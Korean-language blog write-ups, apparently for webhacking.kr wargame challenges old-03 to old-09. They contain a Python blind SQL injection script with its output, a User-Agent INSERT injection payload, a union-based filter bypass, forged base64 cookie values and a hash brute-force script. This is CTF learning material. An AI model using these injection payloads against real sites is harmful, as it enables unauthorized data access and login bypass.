728x90

no=1이면 APPLE, 2는 BANANA, 3은 SECRET이 뜰 것이다. no=1의 id가 APPLE임을 의미한다.

이를 기반으로 Blind SQL Injection을 수행한다. no=3의 id가 password라고 나와있다.

no 인자에는 많은 값들이 필터링 된다. +, -, 공백, =, ord, ascii, hex, and, or 등등. 그런데 if, substr과 in이 사용 가능하다.

따라서 다음과 같이 쿼리를 입력할 수 있다.

?no=if(substr(id),1,1)in(0x41),3,0)

필터링에 걸릴 일은 없다. 0x41은 16진수로 'A' 를 의미한다. MySQL에서는 문자를 16진수와 동일하게 취급한다.

substr을 이용해 id에서 한 글자씩 추출해서 in 뒤의 16진수에 해당하면 3을 반환, 아니면 0을 반환하는 것이다.

여기서 3을 반환하는 부분이 중요하다. 왜 3을 반환해야하는가? no 인자의 값은 아마 쿼리의 where 절을 완성할 것이다.

where no=if(substr(id),1,1)in(0x41),3,0)처럼 말이다. db의 모든 id가 쿼리를 거칠텐데 in 연산자의 조건은 만족하여 3을 반환할지라도 no=3도 만족해야만 SECRET 페이지가 뜰 수 있다. 단순히 no에 1을 넣으면 APPLE, 2를 넣으면 BANANA, 3을 넣으면 SECRET가 아니라 where 절에 전달되는 것을 생각해야한다. 따라서 no=3인 행의 데이터만이 where 절을 만족하여 SECRET 페이지를 반환할 수 있다.

Blind SQL Injection 코드는 다음과 같다.

import requests

url="https://webhacking.kr/challenge/web-09/"
def find_id_len():
    id_len=1
    while True:
        r=requests.get(url+"?no=if(length(id)in({}),3,0)".format(id_len))
        if "Secret" in r.text:
            print(id_len)
            return id_len
        else:
            id_len+=1

def find_id():
    id_len=find_id_len()
    for i in range(1,id_len+1):
        for j in range(48,128):
            r=requests.get(url+"?no=if(substr(id,{},1)in({}),3,0)".format(i,hex(j)))
            if "Secret" in r.text:
                print(chr(j),end="")
                break
            
find_id()
11
ALSRKSWHAQL

11자리이고 값은ALSRKSWHAQL 이다. 하지만 이대로 password에 입력하면 풀리지 않는다.

소문자로 바꿔서 입력하면 풀린다.

alsrkswhaql

이렇게 되는 이유는 id 칼럼의 데이터 타입이 아마 char이나 varchar 타입이라서 그렇다. 둘 다 non binary에 해당한다. non binary의 특징 중 하나가 대 소문자를 구분하지 않는다는 것이다. 따라서 substr의 인자에 id 칼럼을 전달하면 'a'는 0x61임에도 0x41('A')에 매칭되는 것이다.

MySQL에서 varchar 타입의 id 칼럼에 admin이 저장되어있다고 가정해보자. select substr('admin',1,1)in(0x41);를 실행하면 0이 반환된다. 'admin' 대신 id 칼럼을 쓴다면 1이 반환된다. id 칼럼은 non binary이기 때문이다.

728x90

'webhacking.kr' 카테고리의 다른 글

old-11  (0) 2023.02.20
old-10  (0) 2023.02.20
old-08  (2) 2023.02.18
old-07  (0) 2023.02.18
old-06  (0) 2023.02.18
728x90
<?php
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
  echo("<br>Access Denied!<br><br>");
  echo(htmlspecialchars($agent));
  exit();
}
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }

$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);

if($ck){
  echo "hi <b>".htmlentities($ck[0])."</b><p>";
  if($ck[0]=="admin"){
    mysqli_query($db,"delete from chall8");
    solve(8);
  }
}

if(!$ck){
  $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo("<br><br>done!  ({$count_ck[0]}/70)");
}
?>

HTTP 메시지의 헤더에 보면 HTTP_USER_AGENT가 있다. 클라이언트의 브라우저 정보를 담고 있다.

HTTP_USER_AGENT를 가지고 db에서 id를 조회 후 admin이면 문제가 풀린다.

db에 없는 HTTP_USER_AGENT 정보라면 insert 문을 실행한다.

admin을 insert 후 조회한다면 문제가 풀릴 것이다.

Burp Suite를 이용해 메시지를 가로챈 후 User-Agent를 수정한다.

a', '1','admin'), ('b 를 입력하면 insert 문은 다음과 같이 완성된다.

insert into chall8(agent,ip,id) values('a','1','admin'),('b','내 ip','guest')

하나의 insert 문으로 두 개의 정보를 삽입한다. 그리고 나서 a라는 user-agent 정보를 이용해 조회하면 admin이 반환된다.

새롭게 메시지를 가로채고 User-Agent를 a로 바꾸어 전송한다.

728x90

'webhacking.kr' 카테고리의 다른 글

old-10  (0) 2023.02.20
old-09  (0) 2023.02.20
old-07  (0) 2023.02.18
old-06  (0) 2023.02.18
old-05  (0) 2023.02.18
728x90
<?php
$go=$_GET['val'];
if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
$db = dbconnect();
$rand=rand(1,5);
if($rand==1){
  $result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
}
if($rand==2){
  $result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
}
if($rand==3){
  $result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
}
if($rand==4){
  $result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
}
if($rand==5){
  $result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
}
$data=mysqli_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
  echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
  echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
  solve(7);
}
?>

val 인자의 값을 go 변수에 저장하여 이용한다.

preg_match 함수는 정규표현식을 이용하여 필터링한다. 2, -, +, from, _, =, 공백, *, / 를 필터링 하고 있다.

rand 함수는 1이상 5이하의 값을 랜덤으로 선택한다. rand 값에 따라 쿼리가 달라지고 쿼리 실행 결과값이 2라면 문제가 풀린다.

단순히 val 인자에 2를 주면 필터링 되기에 우회해야한다. % 연산자를 사용할 것이다. % 연산자는 나머지를 구하는 연산자다. 예를 들면 5%3은 2다. mod도 동일한 연산을 한다. 5 mod 3 또는 mod(5,3) 방식으로 사용가능하다.

val에 5%3을 넣으면 query error가 뜰 것이다. 코드를 보면 쿼리의 실행 결과값이 없는 것이다. 즉, lv가 2인 데이터는 db에 존재하지 않는다. 그럼 억지로 2를 반환하게 해야한다. 이때 union select 문을 사용한다.

val=9999)union(select(5%3)

9999는 db에 없을 것 같은 값을 고른 것이다. 공백은 필터링 되기에 괄호를 이용해야한다. 쉽게 이해될 것이다.

rand 값이 1인 경우가 얻어걸릴 때까지 시도해야한다. 괄호 개수가 문법에 맞게 일치하는 경우는 rand=1인 경우 뿐이기 때문이다. rand=1인 경우 앞 뒤로 괄호가 한 개씩 붙는 것을 볼 수 있다. 쿼리는 아래와 같이 완성될 것이다.

select lv from chall7 where lv=(9999)union(select(5%3))

결과적으로 union 앞의 select는 반환 값이 없을테지만 뒤의 select는 2를 반환하여 최종적으로 2가 반환된다.

 

728x90

'webhacking.kr' 카테고리의 다른 글

old-09  (0) 2023.02.20
old-08  (2) 2023.02.18
old-06  (0) 2023.02.18
old-05  (0) 2023.02.18
old-04  (0) 2023.02.18
728x90
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
if(!$_COOKIE['user']){
  $val_id="guest";
  $val_pw="123qwe";
  for($i=0;$i<20;$i++){
    $val_id=base64_encode($val_id);
    $val_pw=base64_encode($val_pw);
  }
  $val_id=str_replace("1","!",$val_id);
  $val_id=str_replace("2","@",$val_id);
  $val_id=str_replace("3","$",$val_id);
  $val_id=str_replace("4","^",$val_id);
  $val_id=str_replace("5","&",$val_id);
  $val_id=str_replace("6","*",$val_id);
  $val_id=str_replace("7","(",$val_id);
  $val_id=str_replace("8",")",$val_id);

  $val_pw=str_replace("1","!",$val_pw);
  $val_pw=str_replace("2","@",$val_pw);
  $val_pw=str_replace("3","$",$val_pw);
  $val_pw=str_replace("4","^",$val_pw);
  $val_pw=str_replace("5","&",$val_pw);
  $val_pw=str_replace("6","*",$val_pw);
  $val_pw=str_replace("7","(",$val_pw);
  $val_pw=str_replace("8",")",$val_pw);

  Setcookie("user",$val_id,time()+86400,"/challenge/web-06/");
  Setcookie("password",$val_pw,time()+86400,"/challenge/web-06/");
  echo("<meta http-equiv=refresh content=0>");
  exit;
}
?>

<?php
$decode_id=$_COOKIE['user'];
$decode_pw=$_COOKIE['password'];

$decode_id=str_replace("!","1",$decode_id);
$decode_id=str_replace("@","2",$decode_id);
$decode_id=str_replace("$","3",$decode_id);
$decode_id=str_replace("^","4",$decode_id);
$decode_id=str_replace("&","5",$decode_id);
$decode_id=str_replace("*","6",$decode_id);
$decode_id=str_replace("(","7",$decode_id);
$decode_id=str_replace(")","8",$decode_id);

$decode_pw=str_replace("!","1",$decode_pw);
$decode_pw=str_replace("@","2",$decode_pw);
$decode_pw=str_replace("$","3",$decode_pw);
$decode_pw=str_replace("^","4",$decode_pw);
$decode_pw=str_replace("&","5",$decode_pw);
$decode_pw=str_replace("*","6",$decode_pw);
$decode_pw=str_replace("(","7",$decode_pw);
$decode_pw=str_replace(")","8",$decode_pw);

for($i=0;$i<20;$i++){
  $decode_id=base64_decode($decode_id);
  $decode_pw=base64_decode($decode_pw);
}

echo("<hr><a href=./?view_source=1 style=color:yellow;>view-source</a><br><br>");
echo("ID : $decode_id<br>PW : $decode_pw<hr>");

if($decode_id=="admin" && $decode_pw=="nimda"){
  solve(6);
}
?>

첫 번째 php 코드는 6번 문제에 처음 접속하면 실행된다. user라는 이름의 쿠키가 없기 때문이다. guest와 123qwe를 20번 base64 인코딩 후 특수문자를 숫자로 치환한다. 그 후 결과값을 user, password 이름의 쿠키에 세팅한다.

이제 두 번째 php 코드가 실행된다. user, password 이름의 쿠키 값을 대상으로 숫자를 특수문자로 치환하고 base64 디코딩을 20번 진행한다. 즉, 첫 번째 php 코드에서 했던 과정을 역으로 수행한다. 그리고 결과값을 출력한다. 그래서 6번 문제 처음 접속하면 guest와 123qwe가 출력된다.

주목할 것은 두 번째 코드다. user와 password 쿠키에 대해 admin과 nimda를 각각 두 번째 php 코드의 과정을 역으로 수행한 값을 입력해주면 된다. 즉, 두 번째 과정을 거치기 전의 값을 찾는 것이다. 그렇다면 두 번째 과정을 거치면서 admin과 nimda가 될 것이기 때문이다.

import base64

val_id="admin".encode()
val_pw="nimda".encode()

for i in range(20):
    val_id = base64.b64encode(val_id)
    val_pw = base64.b64encode(val_pw)

val_id = val_id.decode()
val_pw = val_pw.decode()
    
val_id.replace("1","!")
val_id.replace("2","@")
val_id.replace("3","$")
val_id.replace("4","^")
val_id.replace("5","&")
val_id.replace("6","*")
val_id.replace("7","(")
val_id.replace("8",")")

val_pw.replace("1","!")
val_pw.replace("2","@")
val_pw.replace("3","$")
val_pw.replace("4","^")
val_pw.replace("5","&")
val_pw.replace("6","*")
val_pw.replace("7","(")
val_pw.replace("8",")")

print("id : ", val_id)
print("pw : ", val_pw)

base64 인코딩을 20번 하고 숫자를 특수문자로 바꾼다. base64 인코딩을 하려면 encode를 먼저 해야한다. encode 함수는 bytes 자료형으로 변환한다. decode 함수는 str 자료형으로 변환한다. 코드는 단순해서 쉽게 이해될 것이다.

id

더보기

Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFjVkZ0UmxSTmJFcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1UyMTRVMkpIZHpGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm1wT1QwMHhjRlpYYlVaclVqQTFSMWRyV25kV01ERkZVbFJHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMXdUMVF3TUhoalJscFlZbGhTV0ZSV2FFTlNiRnBZWlVaT1ZXSlZXVEpWYkZKRFZqQXhkVlZ1V2xaaGExcFlXa1ZhVDJOc2NFZGhSMnhUVFcxb2IxWXhaREJaVmxsM1RVaG9hbEpzY0ZsWmJGWmhZMnhXY1ZGVVJsTk5WMUo1VmpKNFQxWlhTbFpYVkVwV1lrWktTRlpxUm1GU2JVbDZXa1prYUdFeGNHOVdha0poVkRKT2RGSnJhR2hTYXpWeldXeG9iMWRHV25STldHUlZUVlpHTTFSVmFHOWhiRXB6WTBac1dtSkdXbWhaTVZwaFpFZFNTRkpyTlZOaVJtOTNWMnhXWVZReFdsaFRiRnBZVmtWd1YxbHJXa3RUUmxweFVtMUdVMkpWYkRaWGExcHJZVWRGZUdOSE9WZGhhMHBvVmtSS1QyUkdTbkpoUjJoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxOSGFGQlZiVEUwVmpGU1ZtRkhPVmhTTUhCNVZHeGFjMWR0U2tkWGJXaGFUVzVvV0ZreFdrZFdWa3B6VkdzMVYySkdhM2hXYTFwaFZURlZlRmR1U2s1WFJYQnhWVzB4YjFZeFVsaE9WazVPVFZad2VGVXlkREJXTVZweVkwWndXR0V4Y0ROV2FrWkxWakpPU1dKR1pGZFNWWEJ2Vm10U1MxUXlUWGxVYTFwb1VqTkNWRmxZY0ZkWFZscFlZMFU1YVUxcmJEUldNalZUVkd4a1NGVnNXbFZXYkhCWVZHdGFWbVZIUmtoUFYyaHBVbGhDTmxkVVFtRmpNV1IwVTJ0a1dHSlhhR0ZVVnpWdlYwWnJlRmRyWkZkV2EzQjZWa2R6TVZZd01WWmlla1pYWWxoQ1RGUnJXbEpsUm1SellVWlNhVkp1UW5oV1YzaHJWVEZzVjFWc1dsaGlWVnBQVkZaYWQyVkdWWGxrUkVKWFRWWndlVmt3V25kWFIwVjRZMFJPV21FeVVrZGFWM2hIWTIxS1IxcEhiRmhTVlhCS1ZtMTBVMU14VlhoWFdHaFlZbXhhVjFsc1pHOVdSbXhaWTBaa2JHSkhVbGxhVldNMVlWVXhXRlZyYUZkTmFsWlVWa2Q0YTFOR1ZuTlhiRlpYWWtoQ1NWWkdVa2RWTVZwMFVtdG9VRll5YUhCVmJHaERUbXhrVlZGdFJtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZucFdkbFl3V25OT2JFcHpXa2R3YVZORlNrbFdNblJyWXpGVmVWTnVTbFJpVlZwWVZGYzFiMWRHWkZkWGJFcHNVbTFTZWxsVldsTmhWa3AxVVd4d1YySllVbGhhUkVaYVpVZEtTVk5zYUdoTk1VcFZWbGN4TkdReVZrZFdiR1JvVW5wc2IxUldXbmRsYkZsNVkwVmtWMDFFUmpGWlZXaExWMnhhV0ZWclpHRldNMmhJV1RJeFMxSXhjRWhpUm1oVFZsaENTMVp0TVRCVk1VMTRWbGhvV0ZkSGFGbFpiWGhoVm14c2NscEhPV3BTYkhCNFZrY3dOVll4V25OalJXaFlWa1UxZGxsV1ZYaFhSbFp5WVVaa1RtRnNXbFZXYTJRMFdWWktjMVJ1VG1oU2JGcFlXV3hhUm1ReFduRlJiVVphVm0xU1NWWlhkRzloTVVwMFlVWlNWVlpXY0dGVVZscGhZekZ3UlZWdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp0ZUhkTk1WcHlWMjFHYWxacmNEQmFSV1F3VmpKS2NsTnJhRmRTTTJob1ZrUktSMVl4VG5WVmJFSlhVbFJXV1ZaR1l6RmlNV1JIWWtaV1VsZEhhRlJVVm1SVFpXeHNWbGRzVG1oU1ZFWjZWVEkxYjFZeFdYcFZiR2hZVm14d1lWcFZXbXRrVmtwelZtMXNWMUl6YURWV01XUXdXVmRSZVZaclpGZGliRXB5Vld0V1MySXhiRmxqUldSc1ZteEtlbFp0TURWWFIwcEhZMFpvV2sxSGFFeFdNbmhoVjBaV2NscEhSbGROTW1oSlYxUkplRk14U1hoalJXUmhVbXMxV0ZZd1ZrdE5iRnAwWTBWa1dsWXdWalJXYkdodlYwWmtTR0ZHV2xwaVdHaG9WbTE0YzJOc1pISmtSM0JUWWtad05GWlhNVEJOUmxsNFYyNU9hbEpYYUZoV2FrNVRWRVpzVlZGWWFGTldhM0I2VmtkNFlWVXlTa1pYV0hCWFZsWndSMVF4V2tOVmJFSlZUVVF3UFE9PQ==

pw

더보기

Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZacVFtRlRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GU214U2JHdzFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbUZrUjA1R1drWndWMDFFUlRGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMWRyV2xOVWJVcEdZMFZ3VjJKVVJYZFdha1pYWkVaT2MxZHNhR2xTTW1oWlYxZDRiMkl5Vm5OVmJGWlRZbFZhY2xWcVFURlNNVlY1VFZSU1ZrMXJjRWxhU0hCSFZqRmFSbUl6WkZkaGExcG9WakJhVDJOdFJraGhSazVzWWxob1dGWnRNSGhPUm14V1RVaG9XR0pyTlZsWmJGWmhZMVphZEdSSFJrNVNiRm93V2xWYVQxWlhTbFpqUldSYVRVWmFNMVpxU2t0V1ZrcFpXa1p3VjFKV2NIbFdWRUpoVkRKT2MyTkZhR3BTYXpWWVZXcE9iMkl4V25STldHUlZUVlpXTkZVeGFHOWhiRXB6WTBac1dtSkdXbWhaTW5oWFkxWkdWVkpzVGs1WFJVcElWbXBLTkZReFdsaFRhMlJxVW0xNGFGVXdhRU5UUmxweFVtMUdVMkpWYkRaWGExcHJZVWRGZUdOSE9WZGhhMHBvVmtSS1QyUkdTbkpoUjJoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxOSGFGQlZiVEUwVmpGU1ZtRkhPVmhTTUhCNVZHeGFjMWR0U2tkWGJXaGFUVzVvV0ZreFdrZFdWa3B6VkdzMVYySkdhM2hXYTFwaFZURlZlRmR1U2s1WFJYQnhWVzB4YjFZeFVsaE9WazVPVFZad2VGVXlkREJXTVZweVkwWndXR0V4Y0ROV2FrWkxWakpPU1dKR1pGZFNWWEJ2Vm10U1MxUXlUWGxVYTFwb1VqTkNWRmxZY0ZkWFZscFlZMFU1YVUxcmJEUldNV2h2V1ZaS1IxTnNaRlZXYkZwNlZHeGFZVmRGTlZaUFZtaFRUVWhDU2xac1pEUmpNV1IwVTJ0b2FGSnNTbGhVVlZwM1ZrWmFjVk5yWkZOaVJrcDZWa2N4YzFVeVNuSlRiVVpYVFc1b1dGbHFTa1psUm1SWldrVTFWMVpzY0ZWWFZsSkhaREZaZUdKSVNsaGhNMUpVVlcxNGQyVkdWbGRoUnpsb1RWWndlbFl5Y0VkV01ERjFZVWhLV2xaWFVrZGFWM2hIWTIxS1IyRkdhRlJTVlhCS1ZtMTBVMU14VlhoWFdHaFlZbXhhVjFsc1pHOVdSbXhaWTBaa2JHSkhVbGxhVldNMVlWVXhXRlZyYUZkTmFsWlVWa2Q0YTFOR1ZuTlhiRlpYWWtoQ1NWWkdVa2RWTVZwMFVtdG9VRll5YUhCVmJHaERUbXhrVlZGdFJtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZucFdkbFl3V25KbFJtUnlXa1prVjJFelFqWldhMlI2VFZaWmQwMVdXbWxsYTFwWVdXeG9RMVJHVW5KWGJFcHNVbTFTZWxsVldsTmhWa3AxVVd4d1YySllVbGhhUkVaYVpVZEtTVk5zYUdoTk1VcFdWbGN4TkdReVZrZFdXR3hyVWpCYWNGVnRlSGRsYkZsNVpVaGtXRkl3VmpSWk1GSlBWMjFGZVZWclpHRldNMmhJV1RJeFMxSXhjRWhpUm1oVFZsaENTMVp0TVRCVk1VMTRWbGhvV0ZkSGFGbFpiWGhoVm14c2NscEhPV3BTYkhCNFZrY3dOVll4V25OalJXaFlWa1UxZGxsV1ZYaFhSbFp5WVVaa1RtRnNXbFZXYTJRMFdWWktjMVJ1VG1oU2JGcFlXV3hhUm1ReFduRlJiVVphVm0xU1NWWlhkRzloTVVwMFlVWlNWVlpXY0dGVVZscGhZekZ3UlZWdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp0ZUhkTk1WcHlWMjFHYWxacmNEQmFSV1F3VmpKS2NsTnJhRmRTTTJob1ZrUktSMVl4VG5WVmJFSlhVbFJXV1ZaR1l6RmlNV1JIWWtaV1VsZEhhRlJVVm1SVFpXeHNWbGRzVG1oU1ZFWjZWVEkxYjFZeFdYcFZiR2hZVm14d1lWcFZXbXRrVmtwelZtMXNWMUl6YURWV01XUXdXVmRSZVZaclpGZGliRXB5Vld0V1MySXhiRmxqUldSc1ZteEtlbFp0TURWWFIwcEhZMFpvV2sxSGFFeFdNbmhoVjBaV2NscEhSbGROTW1oSlYxUkplRk14U1hoalJXUmhVbXMxV0ZZd1ZrdE5iRnAwWTBWa1dsWXdWalJXYkdodlYwWmtTR0ZHV2xwaVdHaG9WbTE0YzJOc1pISmtSM0JUWWtad05GWlhNVEJOUmxsNFYyNU9hbEpYYUZoV2FrNVRWRVpzVlZGWWFGTldhM0I2VmtkNFlWVXlTa1pYV0hCWFZsWndSMVF4V2tOVmJFSlZUVVF3UFE9PQ==

결과값을 EditThisCookie를 이용하거나 개발자 옵션에서 쿠키를 수정 후 새로고침하면 admin과 nimda가 웹 페이지에 출력될 것이다. 문제가 풀린다.

 

728x90

'webhacking.kr' 카테고리의 다른 글

old-08  (2) 2023.02.18
old-07  (0) 2023.02.18
old-05  (0) 2023.02.18
old-04  (0) 2023.02.18
old-03  (0) 2023.02.17
728x90
<input type=button value='Login' style=border:0;width:100;background=black;color=green onmouseover=this.focus(); onclick=move('login');>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input type=button value='Join' style=border:0;width:100;background=black;color=blue onmouseover=this.focus(); onclick=no();>

<script>
function no()
{
alert('Access_Denied');
}

function move(page)
{
if(page=='login') { location.href='mem/login.php'; }

}

가입 후 로그인 해야될거 같은데 보이는 걸로는 join 페이지는 갈 수가 없다. 혹시나 해서 mem/join.php로 url을 입력하니 access denied가 뜨고 빈 페이지가 나온다. 페이지 소스를 보니 다음과 같다.

<html>
<title>Challenge 5</title></head><body bgcolor=black><center>
<script>
l='a';ll='b';lll='c';llll='d';lllll='e';llllll='f';lllllll='g';llllllll='h';lllllllll='i';llllllllll='j';lllllllllll='k';llllllllllll='l';lllllllllllll='m';llllllllllllll='n';lllllllllllllll='o';llllllllllllllll='p';lllllllllllllllll='q';llllllllllllllllll='r';lllllllllllllllllll='s';llllllllllllllllllll='t';lllllllllllllllllllll='u';llllllllllllllllllllll='v';lllllllllllllllllllllll='w';llllllllllllllllllllllll='x';lllllllllllllllllllllllll='y';llllllllllllllllllllllllll='z';I='1';II='2';III='3';IIII='4';IIIII='5';IIIIII='6';IIIIIII='7';IIIIIIII='8';IIIIIIIII='9';IIIIIIIIII='0';li='.';ii='<';iii='>';lIllIllIllIllIllIllIllIllIllIl=lllllllllllllll+llllllllllll+llll+llllllllllllllllllllllllll+lllllllllllllll+lllllllllllll+ll+lllllllll+lllll;
lIIIIIIIIIIIIIIIIIIl=llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+lll+lllllllllllllll+lllllllllllllll+lllllllllll+lllllllll+lllll;if(eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl)==-1) {alert('bye');throw "stop";}if(eval(llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+'U'+'R'+'L').indexOf(lllllllllllll+lllllllllllllll+llll+lllll+'='+I)==-1){alert('access_denied');throw "stop";}else{document.write('<font size=2 color=white>Join</font><p>');document.write('.<p>.<p>.<p>.<p>.<p>');document.write('<form method=post action='+llllllllll+lllllllllllllll+lllllllll+llllllllllllll+li+llllllllllllllll+llllllll+llllllllllllllll
+'>');document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name='+lllllllll+llll+' maxlength=20></td></tr>');document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name='+llllllllllllllll+lllllllllllllllllllllll+'></td></tr>');document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');}
</script>
</body>
</html>

script 태그 안의 코드를 아래의 사이트에 복붙하면 정렬이 된다.

https://beautifier.io/

 

Online JavaScript beautifier

Beautify JavaScript, JSON, React.js, HTML, CSS, SCSS, and SASS

beautifier.io

lIllIllIllIllIllIllIllIllIllIl = lllllllllllllll + llllllllllll + llll + llllllllllllllllllllllllll + lllllllllllllll + lllllllllllll + ll + lllllllll + lllll;
lIIIIIIIIIIIIIIIIIIl = llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + lll + lllllllllllllll + lllllllllllllll + lllllllllll + lllllllll + lllll;
if (eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl) == -1) {
    alert('bye');
    throw "stop";
}
if (eval(llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + 'U' + 'R' + 'L').indexOf(lllllllllllll + lllllllllllllll + llll + lllll + '=' + I) == -1) {
    alert('access_denied');
    throw "stop";
} else {
    document.write('<font size=2 color=white>Join</font><p>');
    document.write('.<p>.<p>.<p>.<p>.<p>');
    document.write('<form method=post action=' + llllllllll + lllllllllllllll + lllllllll + llllllllllllll + li + llllllllllllllll + llllllll + llllllllllllllll +
        '>');
    document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name=' + lllllllll + llll + ' maxlength=20></td></tr>');
    document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name=' + llllllllllllllll + lllllllllllllllllllllll + '></td></tr>');
    document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');
}

핵심 부분이다. 개발자 옵션의 콘솔에 가서 한 줄씩 의미하는게 뭔지 찾아봤다.

document.cookie에 oldzombie 값이 있어야하고 URL에 mode=1이 있어야 입력할 수 있는 폼이 뜬다.

id & password 모두 a로 가입했다.

로그인 시도하니 admin으로 로그인 해야된다. 다시 join 페이지에 가서admin으로 가입하려니 이미 존재하는 id라고 한다.

그래서 id는  (공백)admin, pw는 admin으로 가입했다. 

가입할 때 입력한 값 그대로 id: (공백)admin, pw: admin으로 로그인하면 문제가 풀린다.

가입할 때는 공백을 하나의 문자로 취급하면서 로그인 할 때는 공백을 무시하니 로그인이 되는거 같다.

728x90

'webhacking.kr' 카테고리의 다른 글

old-07  (0) 2023.02.18
old-06  (0) 2023.02.18
old-04  (0) 2023.02.18
old-03  (0) 2023.02.17
old-02  (0) 2023.02.06
728x90

레인보우테이블이란?

해시값들을 저장한 표

(생략)
<?php
  sleep(1); // anti brute force
  if((isset($_SESSION['chall4'])) && ($_POST['key'] == $_SESSION['chall4'])) solve(4);
  $hash = rand(10000000,99999999)."salt_for_you";
  $_SESSION['chall4'] = $hash;
  for($i=0;$i<500;$i++) $hash = sha1($hash);
?><br>
<form method=post>
<table border=0 align=center cellpadding=10>
<tr><td colspan=3 style=background:silver;color:green;><b><?=$hash?></b></td></tr>
<tr align=center><td>Password</td><td><input name=key type=text size=30></td><td><input type=submit></td></tr>
(생략)

임의의 숫자+salt_for_you 값을 500번 sha1 해시함수에 적용한 결과값을 화면에 출력한다. 우린 임의의 숫자+salt_for_you가 뭐였는지를 맞추는 문제다. 해시값들을 만들어 저장 후 화면에 출력되는 값을 찾아야한다.

#sha1 함수 인자로 대입하려면 바이트 인코딩해야함.encode 함수 인자로 "ascii"나 "utf-8" 전달해도 결과 동일
#sha1 함수 결과는 sha1 HASH object 생성.
#sha1 함수 결과를 다시 sha1 인자로 대입하기 위해 hexdigest함수 사용하여 str(문자열)로 변환. 

import hashlib

f=open("파일명(절대경로)",'w')
for i in range(10000000,20000000):
    h=str(i)+"salt_for_you"
    for _ in range(500):
        h=hashlib.sha1(h.encode('utf-8')).hexdigest()
    f.write(str(i)+"salt_for_you"+'     :     '+h[:8]+'\n')
f.close()

10000000 단위로 파일을 하나씩 만들어서 해시값의 8자리만 저장했다. 총 9개의 파일이 만들어 질 것이다.
10000000~99999999까지 다 만들려면 시간이 오래 걸린다. 어느 정도 타협해서 각 구간마다 몇 개씩만 만드는게 낫다. 그리고 만든 값 중에 일치하는게 나올 때까지 새로운 값을 얻는게 낫다.

같은 것을 찾아서 입력하면 풀린다.

728x90

'webhacking.kr' 카테고리의 다른 글

old-06  (0) 2023.02.18
old-05  (0) 2023.02.18
old-03  (0) 2023.02.17
old-02  (0) 2023.02.06
old-01  (0) 2023.02.06
728x90

nonogram은 쉽게 풀 수 있다.

name에 입력하면 post 방식으로 id에 전달된다. answer에는 nonogram에서 색칠한 칸은 1, 색칠하지 않은 칸은 0이 설정되어 전달된다.

</form><form method=post action=index.php><input type=hidden name=answer value=1010100000011100101011111>Clear!<br>enter your name for log : <input type=text name=id maxlength=10 size=10><input type=submit value='submit'>

